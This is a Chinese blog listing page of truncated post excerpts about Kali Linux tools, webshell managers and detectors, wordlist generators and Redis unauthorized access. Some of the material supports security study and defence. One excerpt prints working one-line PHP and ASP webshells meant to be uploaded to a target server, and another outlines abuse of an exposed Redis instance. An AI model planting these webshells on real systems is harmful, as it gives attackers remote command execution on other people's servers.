Kali Linux is a popular operating system specially designed for cyber security professionals and ethical hackers. It comes equipped with numerous tools and features to help them in performing security
原创
2024-04-17 11:43:42
114阅读
使用webshell 工具要添加数据而不要编辑数据要不然会连接不上的 ...
转载
2021-09-29 12:21:00
363阅读
2评论
《目录》Webshell webshell管理工具 中国菜刀 中国蚁剑 冰蝎 weevelyWebshell Webshell 这个词，我初次接触是一脸懵。 拆开来看， web 是...
原创
2023-06-08 14:34:34
0阅读
WebShll 检测工具，用于网站入侵排查。目前市场上的很多主机安全产品也都提供这种 WebShell 检测能力，比如阿里云、腾讯云 等。作为一个站长，被黑被挂马都是比较常见的，但是很多站长都不具备判断文件状态的能力。下面介绍一些比较好用的Webshell在线扫描查杀和本地查杀工具来辅助站长进行判断。目前该类软件一般分为在线扫描和本地客户端两种，在线扫描一般结合大数据和AI机器学习等会比本地客户端
原创
2023-09-07 11:15:46
1270阅读
### 实现Webshell管理工具的步骤
为了实现Webshell管理工具，我们需要经过以下几个步骤，详细步骤如下表所示：
| 步骤 | 操作 |
| ---- | ---- |
| 1 | 搭建Kubernetes集群 |
| 2 | 部署Webshell应用 |
| 3 | 配置Ingress路由 |
| 4 | 使用Webshell管理工具 |
### 步骤一：搭建Kubernetes
原创
2024-05-27 11:07:56
74阅读
推荐河马和D盾相关链接https://www.virustotal.com/
https://www.d99net.net/
https://www.shellpub.com/
https://n.shellpub.com/
https://www.shelldetector.com/
https://github.com/chaitin/cloudwalker
迷茫的人生，需要不断努力，
原创
2024-04-15 10:33:44
61阅读
Kali工具
原创
2023-09-13 09:26:34
136阅读
本质 ： 上传一句话木马<?php echo shell_exec($_GET[‘cmd‘]);?>windows平台中国菜刀支持asp、php、asp.net和jsp等可能被IDS、AV、WAF、扫描器软件发现查杀使用方法：往目标web服务器上传相应的一句话木马asp一句话木马：<%execute(request("pass"))%>p...
原创
2023-07-24 12:24:41
642阅读
点击0元报名后领取>>>软考18本电子版教材 & 15个科目知识点速记 + 17套历年真题试卷 + 80篇软考优秀论文6G资料包项目规划是预测未来，确定要达到的目标，估计会碰到的问题，并提出实现目标、解决问题的有效方案、方针、措施和手段的过程。（摘自百度百科）大家应该都看过不少美国大片，是否记得很多片子里，特别是偷窃或者特种部队相关的片子，总是会出现类似下面这
转载
2023-08-07 14:50:44
71阅读
cewl通过爬行网站获取关键信息创建一个密码字典.cewl 1.1.1.1 -m 3 -d 3 -e -c -v -w a.txt （1.1.1.1可以是目标网站的ip地址，也可以是网址）-m:最小单词长度-d:爬网深度-e:收集包含emali地址信息-c:每个单词出现的次数支持基本，摘要，身份验证支持代理;crunch是一款运行在linux中的字典
转载
2023-12-23 19:43:23
31阅读
Uniscan是Kali中一个简单而又好用的联合性扫描工具，用于远程文件包含，本地文件包含和远程命令执行漏洞扫描程序。 使用UNiscan可以进行Web服务器指纹识别功能。 Uniscan中的Web服务器指纹识别功能在指定目标上可以使用Nmap执行ping，traceroute，NSlookup，OS检测和服务等多种扫描。相关参数：OPTIONS: -h h
转载
2023-10-05 20:57:20
37阅读
Kali系统集成工具，也称为Kali Linux，是一个专为渗透测试和安全审计设计的操作系统。这个系统包含了数百种预装的工具，它们都是为了进行各种网络和系统分析，发现漏洞以及进行漏洞利用等任务而设计的。
Kali系统集成工具有以下特点：
1. 预先安装了大量渗透测试和安全审计工具。这使得Kali成为一个对于专业网络安全人员和渗透测试人员来说极为有用的平台，因为这些工具可以快速并高效地执行复杂的
原创
2023-10-08 15:25:48
377阅读
Web安全应急响应中，不免要检查下服务器上是否被上传了webshell，手工检查比较慢，就写了个脚本来检查了。Windows平台下已经有了lake2写的雷克图的了，一般的检查也够用了，写了个Linux下面的，用python写的。1.使用方法：find.py 目录名称2. 主要是采用python正则表达式来匹配的，可以在keywords中添加自己定义的正则，格式：["e
转载
精选
2013-06-11 17:16:33
866阅读
Altman，the webshell tool，自己写的一款开源软件。0×00前言之前用过几款webshell工具，有B/C的也有C/S的，有的只能用于php或者aspx，当然个人用得最多、觉得用得舒服的也只有菜刀了。但是毕竟菜刀是好几年之前的产物了，而且也已经停止更新了，用得久了也发现一些问题，但又不好解决。去年的年底，自己突然有了个想法，自己要写一个webshell工具，工具的自定义要最大化
转载
精选
2014-11-03 23:41:56
1065阅读
前言本小节我们将简单的介绍一些在Kali中常见的、常用到的配置。启动默认的网络服务1、Http服务从事渗透测试的工作人员可能会经常用到web服务器。例如，当需要测试Web程序的恶意脚本时，就需要自己搭建一个web服务器，其实kali linux已经集成了Apache，只要将其启动就可以使用了。在kali linux中启动http服务验证：Apache工作目录：停止Apache服务：service
转载
2023-09-23 14:04:03
32阅读
Kali Linux是一款专注于网络安全和渗透测试的开源操作系统，是许多黑客和安全专家首选的工具之一。而Kali Linux工具中的红帽部分，更是让人津津乐道。
红帽（Red Hat）是一家知名的美国开源软件公司，也是Linux操作系统的领军者之一。Kali Linux中的红帽工具主要是指Red Hat Enterprise Linux（RHEL）发行版提供的软件和服务，这些工具在网络安全领域有
原创
2024-03-08 12:04:08
121阅读
在软件水平与资格考试（软考）的备考过程中，对于各类工具的了解和掌握是必不可少的一环。其中，Kali Linux作为一款功能强大的渗透测试工具，备受考生们的关注。本文将对Kali Linux进行详细的介绍，帮助大家更好地理解和应用这一工具，为软考做好充分的准备。
一、Kali Linux概述
Kali Linux是一个基于Debian的Linux发行版，专门用于渗透测试和数字取证。它集成了大量的
原创
2024-05-29 13:58:26
113阅读
# 如何实现“kali redis工具”
## 整体流程
首先，我们需要安装Kali Linux操作系统和Redis数据库，并配置好它们的环境。然后，我们需要编写一个简单的Python脚本来实现与Redis数据库的交互。最后，我们将把这个Python脚本打包成一个可执行的工具，供用户使用。
### 步骤
| 步骤 | 操作 |
| ---- | ---- |
| 1 | 安装Kali Li
原创
2024-06-03 04:40:54
49阅读
Kali Linux含有可用于渗透测试的各种工具。这些工具程序大体可以分为以下几类：信息收集：这类工具可用来收集目标的DNS、IDS/IPS、网络扫描、操作系统、路由、SSL、SMB、VPN、VoIP、SNMP信息和E-mail地址。漏洞评估：这类工具都可以扫描目标系统上的漏洞。部分工具可以检测Cisco网络系统缺陷，有些还可以评估各种数据库系统的安全问题。很多模糊测试软件都属于漏洞评估工具。We
转载
2024-04-10 11:22:39
60阅读
漏洞成因redis默认绑定在 0.0.0.0:6379，且防火墙未配置不信任IP禁止访问策略，redis直接暴露在公网redis没有设置密码认证（一般为空），可以免密码远程登录redis服务。漏洞危害攻击者可远程登录redis，导致敏感信息泄露。攻击者登录redis后，可更改redis设置，也可使用flushall命令，删除所有数据。攻击者可通过EVAL执行lua代码，或通过数据备份
转载
2023-09-03 15:22:18
10阅读
